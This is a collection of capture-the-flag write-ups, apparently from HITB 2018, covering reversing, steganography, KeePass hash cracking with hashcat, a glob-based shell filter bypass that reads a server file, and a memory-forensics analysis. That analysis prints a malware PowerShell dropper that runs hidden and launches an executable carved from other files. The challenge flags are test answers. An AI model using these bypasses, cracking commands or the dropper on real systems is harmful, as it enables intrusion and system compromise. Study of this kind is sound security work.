0x50, 0x5B, 0x50, 0x8B, 0x57, 0x50, 0x54, 0x1F, 0x5B, 0x5D, 0x59, 0x2A, 0x4C, 0x5F, 0x5E, 0x5C, 0x60, 0x6B, 0x61, 0x83, 0x67, 0x66, 0x6E, 0xD1, 0x5A, 0xB1, 0x69, 0x6E, 0x6D, 0x25, 0x6D, 0x6B, 0x73, 0x00, 0x62, 0x71, 0x74, 0x76, 0x76, 0x7D, 0x7B, 0x99, 0x79, 0x78, 0x6C, 0xCB, 0x4C, 0x37, 0x83, 0x85, 0x87, 0x63, 0x87, 0x86, 0x9E, 0x31, 0xBA, 0xC2, 0x88, 0x8A, 0x8C, 0x55, 0x8E, 0x8F, 0x91, 0x49, 0x97, 0x96, 0x90, 0xBD, 0x42, 0x86, 0x99, 0x9A, 0x9A, 0x9A, 0x9C, 0x9F, 0x9E, 0x9F, 0xA0, 0xCB, 0xA4, 0xA3, 0xA4, 0xAA, 0xA6, 0xA7, 0xA8, 0xC7, 0xBA, 0xA2, 0xAC, 0xAF, 0xAE, 0xA3, 0xB0, 0xC0, 0xA2, 0xB0, 0xB4, 0xB5, 0xB6, 0xBB, 0xB8, 0xDB, 0xBB, 0xBA, 0xBC, 0xCC, 0x9E, 0xB4, 0xC0, 0xD1, 0xC2, 0xC9, 0xC4, 0xCA, 0xC6, 0xC7, 0xC8, 0xC8, 0xCA, 0xCB, 0xCC, 0xCD, 0xCE, 0xCF, 0xD0, 0xD4, 0xD2, 0xD3, 0xD4, 0xD6, 0xD6, 0xD6, 0xD8, 0xDA, 0xDA, 0xDA, 0xDC, 0xDC, 0xDE, 0xDF, 0xE0, 0xE0, 0xE2, 0xE3, 0xE4, 0xE1, 0xE6, 0xE7, 0xE8, 0xEB, 0xEA, 0xEB, 0xEC, 0xE4, 0xEE, 0xE6, 0xF0, 0xF0, 0xF2, 0xF3, 0xF4, 0xFC, 0xF6, 0xF7, 0xF8, 0xFD, 0xFA, 0xFB, 0xFC, 0xF4, 0xFE, 0xFE, 0x00, 0x0B, 0x02, 0x02, 0x04, 0x07, 0x06, 0x07, 0x08, 0x03, 0x0A, 0x0A, 0x0C, 0x0F, 0x0E, 0x0F, 0x10, 0x18, 0x12, 0x12, 0x14, 0x1D, 0x2A, 0x74, 0x74, 0x70, 0x74, 0x72, 0x68, 0x23, 0x1E, 0x19, 0x1C, 0x48, 0x4C, 0x4A, 0x50, 0x1B, 0x26, 0x26, 0x6A, 0x29, 0x20, 0x68, 0x44, 0x48, 0x4D, 0x44, 0x1E, 0x5B, 0x53, 0x45, 0x55, 0x35, 0x37, 0x7E, 0x38, 0x3B, 0x73, 0x79, 0x3C, 0x3C, 0x72, 0x3F, 0x42, 0x0D, 0x0E, 0x43, 0x47, 0x09, 0x0A, 0x0E, 0x48, 0x4C, 0x06, 0x07, 0x05, 0x01, 0x07, 0x4F, 0x5D, 0x1D, 0x31, 0x3C, 0x39, 0x7A, 0x37, 0x78, 0x1B, 0x31, 0x3F, 0x38, 0x37, 0x66, 0x5E, 0x4D, 0x2C, 0x0B, 0x03, 0x15, 0x05, 0x4A, 0x0A, 0x06, 0x06, 0x0E, 0x45, 0x24, 0x0E, 0x07, 0x0B, 0x0C, 0x04, 0x4A, 0x72, 0x61, 0x38, 0x1F, 0x17, 0x01, 0x19, 0x56, 0x16, 0x1A, 0x12, 0x1A, 0x51, 0x2C, 0xF4, 0xF3, 0xEB, 0xED, 0xE3, 0xBE, 0x86, 0x95, 0xC4, 0xE3, 0xEB, 0xFD, 0xED, 0xA2, 0xE2, 0xEE, 0xFE, 0xF6, 0xBD, 0xC0, 0xED, 0xE6, 0xE2, 0xF2, 0xF5, 0xA2, 0x9A, 0x89, 0xD0, 0xF7, 0xFF, 0xE9, 0xC1, 0x8E, 0xD7, 0xD7, 0xCD, 0xC9, 0x89, 0xE6, 0xDA, 0xDB, 0xCB, 0xD2, 0xDF, 0x96, 0xAE, 0xAE, 0xE6, 0xB1, 0xB4, 0xE5, 0xF8, 0xFC, 0xFA, 0xFE, 0xF1, 0xB9, 0xBB, 0xE1, 0xBC, 0xBF, 0xE4, 0xF3, 0xC0, 0xC2, 0x98, 0x8F, 0x88, 0xC5, 0xC4, 0x9C, 0x8A, 0xC9, 0xC8, 0x90, 0x85, 0xCD, 0xCF, 0xAE, 0xD0, 0xD8, 0xB3, 0xA1, 0xA6, 0xB4, 0xAF, 0xB4, 0xB7, 0xA9, 0xA3, 0xDB, 0xDD, 0xBF, 0xDE, 0xDA, 0x83, 0x89, 0x87, 0x80, 0x8F, 0xE5, 0xE0, 0x82, 0x99, 0x9C, 0x8B, 0x87, 0x9F, 0xED, 0xE6, 0x88, 0x95, 0x85, 0xB0, 0x8A, 0x80, 0x90, 0x85, 0xF7, 0xC4, 0xF9, 0xFD, 0xF5, 0xFE, 0xE8, 0x78, 0xFD, 0x6B, 0xA5, 0x00, 0x16, 0xC6, 0x05, 0x03, 0x07, 0x0F, 0x07, 0x0A, 0x38, 0x0D, 0x0D, 0x09, 0x01, 0x1F, 0x3C, 0x3C, 0x13, 0x50, 0x14, 0x16, 0x10, 0x05, 0x43, 0x51, 0x27, 0x57, 0x56, 0x22, 0x98, 0x77, 0x1E, 0x22, 0x2B, 0x20, 0x25, 0x26, 0x27, 0x28, 0x2E, 0x24, 0x60, 0x54, 0x11, 0xEA, 0x12, 0x2E, 0x85, 0x9D, 0x72, 0x08, 0x09, 0x36, 0x10, 0x3A, 0x39, 0x3A, 0x3C, 0x32, 0x67, 0x75, 0xA9, 0xF4, 0xF5, 0xD3, 0x1C, 0x44, 0x59, 0x44, 0x47, 0x48, 0x4E, 0x44, 0x11, 0x07, 0x4C, 0x59, 0x40, 0x8E, 0x0C, 0x52, 0x07, 0x55, 0x55, 0x51, 0x59, 0x58, 0x5B, 0x5A, 0x53, 0x5C, 0x5D, 0x54, 0x5E, 0x6A, 0x61, 0xEA, 0xE3, 0x60, 0xF1, 0x62, 0x66, 0xE9, 0xE9, 0x6E, 0xE3, 0x69, 0x6C, 0x64, 0xCF, 0x75, 0x70, 0x7B, 0xCF, 0x71, 0x74, 0x7E, 0xD7, 0x7E, 0x78, 0x70, 0xC3, 0x7B, 0x7C, 0x74, 0xC7, 0x88, 0x80, 0x8B, 0x33, 0x8D, 0x88, 0x86, 0x87, 0x88, 0x89, 0x8A, 0x8B, 0x8C, 0x8C, 0x8E, 0x8F, 0x90, 0x91, 0x92, 0x93, 0x94, 0x94, 0x96, 0x97, 0x98, 0x85, 0x9A, 0x9B, 0x9C, 0xED, 0x9E, 0x9F, 0xA0, 0xA3, 0xA2, 0xA3, 0xA4, 0xAE, 0xA6, 0xA7, 0xA8, 0x49, 0xAA, 0xAB, 0xAC, 0xAE, 0xAE, 0xAF, 0xB0, 0xBB, 0xB2, 0xB3, 0xB4, 0xB9, 0xB7, 0xB7, 0xB8, 0xBD, 0xBA, 0xBB, 0xBC, 0xBF, 0xBE, 0xBF, 0xC0, 0x45, 0xC3, 0xC3, 0xC4, 0xC0, 0xC6, 0xC7, 0xC8, 0xC5, 0xCA, 0xCB, 0xCC, 0x59, 0xCF, 0xCF, 0xD0, 0xD7, 0xD2, 0xD3, 0xD4, 0xD4, 0xD6, 0xD7, 0xD8, 0x2D, 0xDB, 0xDB, 0xDC, 0xDC, 0xFE, 0xDF, 0xE0, 0xE9, 0xE2, 0xE3, 0xE4, 0xF1, 0xE4, 0xE7, 0xE8, 0xE8, 0xFA, 0xEB, 0xEC, 0xE5, 0xEE, 0xEF, 0xF0, 0x11, 0xF6, 0xF3, 0xF4, 0xF7, 0xD6, 0xF7, 0xF8, 0xE5, 0xFA, 0xFB, 0xFC, 0xD1, 0xFB, 0xFF, 0x00, 0x02, 0x22, 0x03, 0x04, 0x0D, 0x06, 0x07, 0x08, 0x06, 0x0C, 0x0B, 0x0C, 0x0D, 0x2E, 0x0F, 0x10, 0x10, 0x12, 0x13, 0x14, 0x65, 0x10, 0x17, 0x18, 0x19, 0x0A, 0x1B, 0x1C, 0x1C, 0x1E, 0x1F, 0x20, 0xBD, 0x24, 0x23, 0x24]

d = ''
k = 233
for c in l:
    d += chr(c ^ (k & 0xff))
    k += 1

open('claz.dex', 'wb').write(d)

#include <stdio.h>
#include <stdint.h>

uint32_t key[] = {0xabababab, 0xcdcdcdcd, 0xefefefef, 0x12345678};
uint32_t enc_s[] = {0x637c65e9, 0x8e51d1d9, 0x9a4f1634, 0xd9a2beb8, 0x65ee49e5, 0x35fb2eec, 0x610bc824, 0xedcf90b5, 0};

void decrypt (uint32_t* v, uint32_t* k) {
    int32_t v0=v[0], v1=v[1], sum=0xC6EF3720, i;  /* set up */
    int32_t delta=0x9e3779b9;                     /* a key schedule constant */
    int32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3];   /* cache key */
    for (i=0; i<32; i++) {                         /* basic cycle start */
        v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
        v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
        sum -= delta;
    }                                              /* end cycle */
    v[0]=v0; v[1]=v1;
}

int main(int argc, char *argv[]) {
    for (int i = 0; i < 8; i += 2) {
        uint32_t* t = &enc_s[i];
        decrypt(t, key);
        enc_s[i] = __builtin_bswap32(enc_s[i]);
        enc_s[i+1] = __builtin_bswap32(enc_s[i+1]);
    }
    printf("%s\n", (char *)&enc_s[1]);
}

HITB{SEe!N9_IsN'T_bELIEV1Ng}

kivy simple (Reverse)

Since private.mp3 is suspecious, I investigated private.mp3.
Then, I found out that it was tar.gz file and decompress it.

$ uncompyle6 main.pyo
# uncompyle6 version 3.0.1
# Python bytecode 2.7 (62211)
# Decompiled from: Python 3.5.2 (default, Nov 23 2017, 16:37:01)
# [GCC 5.4.0 20160609]
# Embedded file name: /home/ubuntu/kivyproject/.buildozer/android/app/main.py
# Compiled at: 2018-03-14 13:40:21
from kivy.uix.popup import Popup
from kivy.app import App
from kivy.uix.label import Label
from kivy.uix.textinput import TextInput
from kivy.uix.button import Button
from kivy.uix.boxlayout import BoxLayout
import binascii, marshal, zlib

class LoginScreen(BoxLayout):

    def __init__(self, **kwargs):
        super(LoginScreen, self).__init__(**kwargs)
        self.orientation = 'vertical'
        self.add_widget(Label(text='FLAG'))
        self.flag = TextInput(hint_text='FLAG HERE', multiline=False)
        self.add_widget(self.flag)
        self.hello = Button(text='CHECK')
        self.hello.bind(on_press=self.auth)
        self.add_widget(self.hello)

    def check(self):
        if self.flag.text == 'HITB{this_is_not_flag}':
            return True
        return False

    def auth(self, instance):
        if self.check():
            s = 'Congratulations you got the flag'
        else:
            s = 'Wrong answer'
        popup = Popup(title='result', content=Label(text=s), auto_dismiss=True)
        popup.open()


screen = LoginScreen()
b64 = 'eJzF1MtOE2EUB/DzTculUKAUKJSr3OqIV0TBGEOMRqIuatJhowsndTrVA+MlnYEYhZXEhQuXLlz4CC58BBc+ggsfwYWPYDznhHN8BJr5Tv7fby6Z8/VrIzj+eDRu0kirVFoARwCPAGI6HOx4EBI6CHy+LHLH1/O4zfd8onQAsEOHg0MHmQcHDt45vmc3B50FyHIQELU8qLZyYutmebIusftm3WQ9Yo/NeskKYh2zPrJ+sfdmRbIBsc9mg2RDYl/NSmTDYt/NymQjYj/NRsnGxH6bVcjGxf6aTZBVxcpObdL6rZlNkU2LXTebsT7qZrP2fk/M5shOie2bzdvzPpgtkC2KfTFbIlsW+2ZWIzst9sPMJzsj9stsheys2B+zc2TnxTxP7YL1UTG7aLZidolsVWzT7LL11jBbI7si1ja7SrYu9sZsw+yjWJaHgHZx4F+j/VnHOao4TCXjvbuBQxqXsV9jgDmNt7CiMURP4zZOaXyA3RrncVTjEpY0djCv8S2Oa3yF/OtC0PldLPN8hkuf4ioO8nxA5zWc1LiITuM97NG4hbMaD3FE4z4W+TEFLhOKD7GL59M6r+OYxjXsperz+YzfvZ00n0rI4tdZxkuTxC8yPr3VTNJYTm139mL5S5BZGidteVTqc4dSMil8V/Qsjnb52vSIzRVdGfKu5E5seHWfu2rw3sj460yjTkwt8oqFYZQ00zQM/3cipSErzQt14/nL1l4Sb0pHXAp3/gENPMQt'
eval(marshal.loads(zlib.decompress(binascii.a2b_base64(b64))))

class MyApp(App):

    def build(self):
        return screen


app = MyApp()
app.run()
# okay decompiling main.pyo

$ uncompyle6 ../../../eval_main.pyc
# uncompyle6 version 3.0.1
# Python bytecode 2.7 (62211)
# Decompiled from: Python 3.5.2 (default, Nov 23 2017, 16:37:01)
# [GCC 5.4.0 20160609]
# Compiled at: 2018-03-14 13:40:21


def check(self):
    s = self.flag.text
    if len(s) != 31:
        return False
    if s[17] != '7':
        return False
    if s[15] != '%':
        return False
    if s[11] != 'S':
        return False
    if s[3] != 'B':
        return False
    if s[22] != '_':
        return False
    if s[2] != 'T':
        return False
    if s[27] != 'O':
        return False
    if s[6] != '!':
        return False
    if s[20] != '$':
        return False
    if s[16] != 'r':
        return False
    if s[4] != '{':
        return False
    if s[23] != 'p':
        return False
    if s[25] != '7':
        return False
    if s[0] != 'H':
        return False
    if s[18] != '_':
        return False
    if s[29] != '!':
        return False
    if s[10] != '1':
        return False
    if s[14] != 'H':
        return False
    if s[13] != '&':
        return False
    if s[26] != '#':
        return False
    if s[1] != 'I':
        return False
    if s[7] != 'F':
        return False
    if s[30] != '}':
        return False
    if s[19] != 'v':
        return False
    if s[12] != '_':
        return False
    if s[9] != '_':
        return False
    if s[24] != 'Y':
        return False
    if s[5] != '1':
        return False
    if s[28] != 'N':
        return False
    if s[21] != '3':
        return False
    if s[8] != '3':
        return False
    return True


screen.__class__.check = check
# okay decompiling ../../../eval_main.pyc

HITB{1!F3_1S_&H%r7_v$3_pY7#ON!}

pix (Misc)

zsteg is god.

$ zsteg aee487a2-49cd-4f1f-ada6-b2d398342d99.SteinsGate
imagedata           .. text: " !#865   "
b1,r,msb,xy         .. text: "y5b@2~2t"
b1,rgb,lsb,xy       .. file: Keepass password database 2.x KDBX
b2,r,msb,xy         .. text: "\rP`I$X7D"
b2,bgr,lsb,xy       .. text: "b;d'8H~M"
b4,g,msb,xy         .. text: ";pTr73& dvG:

$ zsteg aee487a2-49cd-4f1f-ada6-b2d398342d99.SteinsGate -e b1,rgb,lsb,xy  > hoge.keepass2

$ keepass2john  ~/hoge.keepass2
hoge.keepass2:$keepass$*2*6000*222*774fbe05c37a98c8094e1d625d285a193ae9cf9bc7f6ccbf8ee5cb28e2894070*02207c3d0a3feb6a589dc84f8d73ff86fe2629ff25f9cf23f7f9545b5786f882*065f70730c4e7b98ef7ea869f6958b03*2b3d24717d3e284484af4171a4a752d688111a96f7c36e7233048fc028867f16*43dbb269dff30e5cd1ce74dd8527594004f49bcd17414c24cb22c0d6e2b26a0b

$ optirun ./hashcat64.bin -a 3 -m 13400  '$keepass$*2*6000*222*774fbe05c37a98c8094e1d625d285a193ae9cf9bc7f6ccbf8ee5cb28e2894070*02207c3d0a3feb6a589dc84f8d73ff86fe2629ff25f9cf23f7f9545b5786f882*065f70730c4e7b98ef7ea869f6958b03*2b3d24717d3e284484af4171a4a752d688111a96f7c36e7233048fc028867f16*43dbb269dff30e5cd1ce74dd8527594004f49bcd17414c24cb22c0d6e2b26a0b' -1 '0123456789' 'hitb?1?1?1?1?1?1'
...
$keepass$*2*6000*222*774fbe05c37a98c8094e1d625d285a193ae9cf9bc7f6ccbf8ee5cb28e2894070*02207c3d0a3feb6a589dc84f8d73ff86fe2629ff25f9cf23f7f9545b5786f882*065f70730c4e7b98ef7ea869f6958b03*2b3d24717d3e284484af4171a4a752d688111a96f7c36e7233048fc028867f16*43dbb269dff30e5cd1ce74dd8527594004f49bcd17414c24cb22c0d6e2b26a0b:hitb180408
...

read file (Misc)

$ nc 47.75.148.60 9999
echo $input | grep -o "[[:punct:]]*"
flag is here: /home/flag_is_here/flag.txt , try to read it~!
Do it!!!
Input: $(</????/????_??_????/????.???)
HITB{d7dc2f3c59291946abc768d74367ec31}

Input: /???/??? /????/????_??_????/????.???

tpyx (Misc)

The png file is broken. It seems like We need to fix it first.
pngcheck tell us that it has crc checksum error

$ pngcheck -v e47c7307-b54c-4316-9894-5a8daec738b4.png
File: e47c7307-b54c-4316-9894-5a8daec738b4.png (1164528 bytes)
chunk IHDR at offset 0x0000c, length 13
1024 x 653 image, 32-bit RGB+alpha, non-interlaced
chunk IDAT at offset 0x00025, length 1162839
zlib: deflated, 32K window, default compression
CRC error in chunk IDAT (computed ecfb2a19, expected ba3de214)
ERRORS DETECTED in e47c7307-b54c-4316-9894-5a8daec738b4.png

When you try to fix the crc checksum, you will notice that the size of IDAT chunk is also wrong. The true size is 1164470 not 1162839

After corrected all faults, just use zsteg to detect any interesting things and also extract them.

$ zsteg e47c7307-b54c-4316-9894-5a8daec738b4_fixed.png
[?] 1 bytes of extra data after image end (IEND), offset = 0x11c4ef
extradata:imagedata .. file: zlib compressed data
...
...
$ zsteg e47c7307-b54c-4316-9894-5a8daec738b4_fixed.png -e extradata:imagedata > zlibdata
$ python -c "import zlib; print zlib.decompress(open('zlibdata').read())" > data
$ cat data
377abcaf271c000382f96c91300000000000000073000000000000003c0e24409c429fdb08f31ebc2361b3016f04a79a070830334c68dd47db383e4b7246acad87460cd00ba62cfae68508182a69527a0104060001093000070b0100022406f107010a5307cb7afbfaec5aa07623030101055d0000010001000c2c2700080a01c35b933000000501110b0066006c00610067000000120a010000844bf3571cd101130a010000e669e866d1d301140a010080ffcdd963d1d301150601008000000000001800345172634f556d365761752b5675425838672b4950673d3d
$ cat data | xxd -r -p > data
$ file data
data.7z: 7-zip archive data, version 0.3

Now we have a 7z file, but we need password.
The 7z file is actually appended with the password.

$ xxd data
00000000: 377a bcaf 271c 0003 82f9 6c91 3000 0000  7z..'.....l.0...
00000010: 0000 0000 7300 0000 0000 0000 3c0e 2440  ....s.......<.$@
00000020: 9c42 9fdb 08f3 1ebc 2361 b301 6f04 a79a  .B......#a..o...
00000030: 0708 3033 4c68 dd47 db38 3e4b 7246 acad  ..03Lh.G.8>KrF..
00000040: 8746 0cd0 0ba6 2cfa e685 0818 2a69 527a  .F....,.....*iRz
00000050: 0104 0600 0109 3000 070b 0100 0224 06f1  ......0......$..
00000060: 0701 0a53 07cb 7afb faec 5aa0 7623 0301  ...S..z...Z.v#..
00000070: 0105 5d00 0001 0001 000c 2c27 0008 0a01  ..].......,'....
00000080: c35b 9330 0000 0501 110b 0066 006c 0061  .[.0.......f.l.a
00000090: 0067 0000 0012 0a01 0000 844b f357 1cd1  .g.........K.W..
000000a0: 0113 0a01 0000 e669 e866 d1d3 0114 0a01  .......i.f......
000000b0: 0080 ffcd d963 d1d3 0115 0601 0080 0000  .....c..........
000000c0: 0000 0018 0034 5172 634f 556d 3657 6175  .....4QrcOUm6Wau
000000d0: 2b56 7542 5838 672b 4950 673d 3d         +VuBX8g+IPg==
$ 7z x data -p4QrcOUm6Wau+VuBX8g+IPg==
..
Extracting  flag
..
$ cat flag
HITB{0c88d56694c2fb3bcc416e122c1072eb}

BOOM (Misc)

AceBear

We are given a .vmem file, which is a memory file generated by VMware. The problem description indicates that this VM might be infected with a malware, so let’s use Volatility to analyze this memory dump.

Let’s check what OS this memory dump is running:

$ volatility -f BOOM-6452e9b9.vmem imageinfo
Volatility Foundation Volatility Framework 2.5
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : Win2008R2SP0x64, Win7SP1x64, Win7SP0x64, Win2008R2SP1x64
                     AS Layer1 : AMD64PagedMemory (Kernel AS)
                     AS Layer2 : FileAddressSpace (.../BOOM-6452e9b9.vmem)
                      PAE type : No PAE
                           DTB : 0x187000L
                          KDBG : 0xf80003fff0a0L
          Number of Processors : 2
     Image Type (Service Pack) : 1
                KPCR for CPU 0 : 0xfffff80004000d00L
                KPCR for CPU 1 : 0xfffff880009ef000L
             KUSER_SHARED_DATA : 0xfffff78000000000L
           Image date and time : 2018-04-05 08:29:56 UTC+0000
     Image local date and time : 2018-04-05 16:29:56 +0800

Let’s consider the running OS as Win7SP1x64 and list the running processes:

$ volatility -f BOOM-6452e9b9.vmem --profile=Win7SP1x64 psscan
Volatility Foundation Volatility Framework 2.5
Offset(P)          Name                PID   PPID PDB                Time created                   Time exited
------------------ ---------------- ------ ------ ------------------ ------------------------------ ------------------------------
0x000000007d0d81f0 msdtc.exe          1992    516 0x0000000077525000 2018-04-04 15:28:29 UTC+0000
0x000000007d0dab30 cmd.exe            1348   1212 0x0000000038154000 2018-04-05 08:27:22 UTC+0000   2018-04-05 08:27:39 UTC+0000
0x000000007d109b30 dllhost.exe        1896    516 0x000000004599c000 2018-04-04 15:28:29 UTC+0000
0x000000007d248b30 svchost.exe         600    516 0x00000000145af000 2018-04-04 15:28:26 UTC+0000
0x000000007d285540 svchost.exe        1112    516 0x0000000017541000 2018-04-04 15:28:27 UTC+0000
0x000000007d28a5b0 explorer.exe       2532   2492 0x0000000034c9e000 2018-04-04 15:30:26 UTC+0000
0x000000007d290b30 spoolsv.exe        1212    516 0x0000000017755000 2018-04-04 15:28:27 UTC+0000
0x000000007d2af1a0 mscorsvw.exe       2764    516 0x000000006a0e7000 2018-04-04 15:30:28 UTC+0000
0x000000007d2de7e0 svchost.exe        1244    516 0x00000000186fc000 2018-04-04 15:28:27 UTC+0000
0x000000007d3b4060 VGAuthService.     1384    516 0x00000000178e6000 2018-04-04 15:28:27 UTC+0000
0x000000007d3e4210 vmtoolsd.exe       1456    516 0x000000001676c000 2018-04-04 15:28:28 UTC+0000
0x000000007d3e9b30 ManagementAgen     1480    516 0x00000000162f2000 2018-04-04 15:28:28 UTC+0000
0x000000007d413060 winlogon.exe        480    408 0x0000000020cf6000 2018-04-04 15:28:26 UTC+0000
0x000000007d428b30 services.exe        516    416 0x00000000086a2000 2018-04-04 15:28:26 UTC+0000
0x000000007d434060 lsm.exe             540    416 0x000000001f851000 2018-04-04 15:28:26 UTC+0000
0x000000007d436610 lsass.exe           532    416 0x000000001f649000 2018-04-04 15:28:26 UTC+0000
0x000000007d50e970 svchost.exe         664    516 0x000000001c541000 2018-04-04 15:28:26 UTC+0000
0x000000007d532920 vmacthlp.exe        724    516 0x000000001ee7b000 2018-04-04 15:28:26 UTC+0000
0x000000007d53eb30 svchost.exe         768    516 0x0000000053d03000 2018-04-04 15:28:26 UTC+0000
0x000000007d571060 svchost.exe         832    516 0x000000005378d000 2018-04-04 15:28:26 UTC+0000
0x000000007d57cb30 svchost.exe         892    516 0x000000005329a000 2018-04-04 15:28:26 UTC+0000
0x000000007d5a8b30 svchost.exe         936    516 0x00000000125a5000 2018-04-04 15:28:26 UTC+0000
0x000000007d8d1060 wininit.exe         416    344 0x0000000021861000 2018-04-04 15:28:26 UTC+0000
0x000000007d8db7b0 csrss.exe           432    408 0x0000000021bf0000 2018-04-04 15:28:26 UTC+0000
0x000000007da5cb30 csrss.exe           364    344 0x0000000021ddb000 2018-04-04 15:28:25 UTC+0000
0x000000007e243b30 WmiPrvSE.exe       1852    664 0x000000000e653000 2018-04-04 15:28:29 UTC+0000
0x000000007e94bb30 smss.exe            276      4 0x0000000023138000 2018-04-04 15:28:25 UTC+0000
0x000000007e9cab30 taskhost.exe       2388    516 0x0000000074651000 2018-04-04 15:30:26 UTC+0000
0x000000007ed2e810 Everything.exe     3764   1564 0x0000000077807000 2018-04-05 08:29:20 UTC+0000
0x000000007edb62b0 ipconfig.exe       3440   3372 0x000000002ef83000 2018-04-05 08:29:56 UTC+0000   2018-04-05 08:29:56 UTC+0000
0x000000007efbe330 SearchFilterHo     1260   3016 0x000000002ddfe000 2018-04-05 08:29:06 UTC+0000
0x000000007efc7540 audiodg.exe        3960    832 0x000000003eefe000 2018-04-05 08:29:20 UTC+0000
0x000000007efcc5f0 cmd.exe            3372   1456 0x000000003fe85000 2018-04-05 08:29:56 UTC+0000   2018-04-05 08:29:56 UTC+0000
0x000000007f0e5a30 dwm.exe            2508    892 0x0000000073675000 2018-04-04 15:30:26 UTC+0000
0x000000007f67bb30 dllhost.exe        2364    664 0x0000000049662000 2018-04-04 15:49:16 UTC+0000
0x000000007f773680 netsh.exe          2428   1212 0x0000000034bde000 2018-04-05 08:28:07 UTC+0000   2018-04-05 08:28:07 UTC+0000
0x000000007f78eb30 svchost.exe        1088    516 0x000000004771d000 2018-04-04 15:41:44 UTC+0000
0x000000007f7e1460 StikyNot.exe       2252   2532 0x00000000379a7000 2018-04-04 15:49:33 UTC+0000
0x000000007f834b30 SearchIndexer.     3016    516 0x000000003ae0d000 2018-04-04 15:30:30 UTC+0000
0x000000007f860b30 svchost.exe        2968    516 0x0000000015308000 2018-04-04 15:30:29 UTC+0000
0x000000007f9d6060 cmd.exe            1096   1212 0x00000000752ec000 2018-04-05 08:25:33 UTC+0000   2018-04-05 08:26:49 UTC+0000
0x000000007f9ec060 sc.exe             3064   1212 0x00000000332be000 2018-04-05 08:28:07 UTC+0000   2018-04-05 08:28:07 UTC+0000
0x000000007fa5d060 wordpad.exe        3316   1564 0x0000000041a4b000 2018-04-05 08:29:50 UTC+0000
0x000000007fa7f060 conhost.exe        3368    364 0x000000000ca7a000 2018-04-05 08:29:56 UTC+0000   2018-04-05 08:29:56 UTC+0000
0x000000007faa7390 rdpclip.exe        2460   1112 0x0000000071564000 2018-04-05 08:29:07 UTC+0000
0x000000007fac6b30 taskhost.exe       1340    516 0x000000006d95f000 2018-04-05 08:29:07 UTC+0000
0x000000007fb0bb30 SearchProtocol     1820   3016 0x00000000744a7000 2018-04-05 08:29:26 UTC+0000
0x000000007fb15b30 dwm.exe            2228    892 0x0000000032414000 2018-04-05 08:29:07 UTC+0000
0x000000007fb23b30 explorer.exe       1564   1624 0x0000000066338000 2018-04-05 08:29:07 UTC+0000
0x000000007fb74060 vmtoolsd.exe       2632   2532 0x0000000070551000 2018-04-04 15:30:26 UTC+0000
0x000000007fbb9b30 svchost.exe        2800    516 0x000000006a6f5000 2018-04-04 15:30:28 UTC+0000
0x000000007fbcf060 mscorsvw.exe       2880    516 0x000000006a1fc000 2018-04-04 15:30:29 UTC+0000
0x000000007fbfc060 sppsvc.exe         2932    516 0x000000002c482000 2018-04-04 15:30:29 UTC+0000
0x000000007fca0b30 winlogon.exe        888   2092 0x00000000304c0000 2018-04-05 08:28:11 UTC+0000
0x000000007fccab30 csrss.exe          1836   2092 0x000000002f03b000 2018-04-05 08:28:11 UTC+0000
0x000000007fd228d0 csrss.exe          2984   2380 0x000000001bbb9000 2018-04-05 08:29:06 UTC+0000
0x000000007fd36b30 regsvr32.exe       2736   1564 0x0000000064a39000 2018-04-05 08:29:08 UTC+0000   2018-04-05 08:29:08 UTC+0000
0x000000007fdec630 vmtoolsd.exe       3748   1564 0x0000000045e6b000 2018-04-05 08:29:19 UTC+0000
0x000000007fdf3b30 winlogon.exe       2212   2380 0x00000000121be000 2018-04-05 08:29:06 UTC+0000
0x000000007feb2060 SearchProtocol     2752   3016 0x000000002e873000 2018-04-05 08:29:06 UTC+0000
0x000000007feb8b30 LogonUI.exe        1672   2212 0x000000003a14d000 2018-04-05 08:29:06 UTC+0000
0x000000007ff39990 System                4      0 0x0000000000187000 2018-04-04 15:28:25 UTC+0000

Everything.exe seems shady. Let’s dump it:

$ volatility -f BOOM-6452e9b9.vmem --profile=Win7SP1x64 procdump -p 3764 -D .
Volatility Foundation Volatility Framework 2.5
Process(V)         ImageBase          Name                 Result
------------------ ------------------ -------------------- ------
0xfffffa8002b2e810 0x0000000000400000 Everything.exe       OK: executable.3764.exe

As with many memory forensics challenge, it is quite useful to run strings on it:

$ strings executable.3764.exe
... [snip]
...
powershell -WindowStyle Hidden -Command "Get-ChildItem .\ | ForEach-Object -Process {if($_ -is [System.IO.FileInfo]){if($_.FullName.indexof(""".exe""") -eq -1){return;}$cont = (Get-Content -raw $_.FullName);if($cont.indexof("""qwedcxzarfvbnhyt""") -eq -1){return;}echo $_.FullName;[byte[]]$bytes = [System.IO.File]::ReadAllBytes($_.FullName);Set-Content -Path """.\temp.exe""" -Value $Bytes[-0X19010..-0X11] -encoding Byte;.\temp.exe;rm .\temp.exe;}};Start-Process -FilePath http://HYTN_B_C_DoRR_.cn;"

Looks like there are something related to PowerShell inside this executable, which makes it even more shady. Some RE confirms it as the process entry point is overwritten with some code that runs the above command. Start-Process -FilePath with an URL will open a browser window with that URL, that explains the weird paths mentioned in the problem description.

The flag doesn’t follow normal format, and is the domain name of what we’ve found: HYTN_B_C_DoRR_.cn

There are a lot of useful and funny tricks I’ve learned when solving that problem; however the time to writeup is limited so I’ll add it later :3

simple_forensics

This is a memory forensics challenge.So we can use Volatility tool to solve.

First.we vol.py -f xxxxx.vmem imageinfoto find profile.

$ vol.py -f Windows\ 10\ x64-8da95d9d.vmem imageinfo
Volatility Foundation Volatility Framework 2.6
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : Win10x64_10586, Win10x64_14393, Win10x64_16299, Win2016x64_14393, Win10x64_15063 (Instantiated with Win10x64_15063)
                     AS Layer1 : SkipDuplicatesAMD64PagedMemory (Kernel AS)
                     AS Layer2 : FileAddressSpace (/Volumes/移动硬盘/项目/HITB_sw/Windows 10 x64.vmwarevm/Windows 10 x64-8da95d9d.vmem)
                      PAE type : No PAE
                           DTB : 0x1aa000L
                          KDBG : 0xf80075fe24d0L
          Number of Processors : 1
     Image Type (Service Pack) : 0
                KPCR for CPU 0 : 0xfffff80075145000L
             KUSER_SHARED_DATA : 0xfffff78000000000L
           Image date and time : 2018-04-11 07:33:07 UTC+0000
     Image local date and time : 2018-04-11 15:33:07 +0800

we find the profile is win10.
Then.We to find the Desktop file…We can find somethins…such as *.txt or autocad folder or some autocad Project Files and script files.When we analyze the script file,the script file name is ‘go.lsp’

...
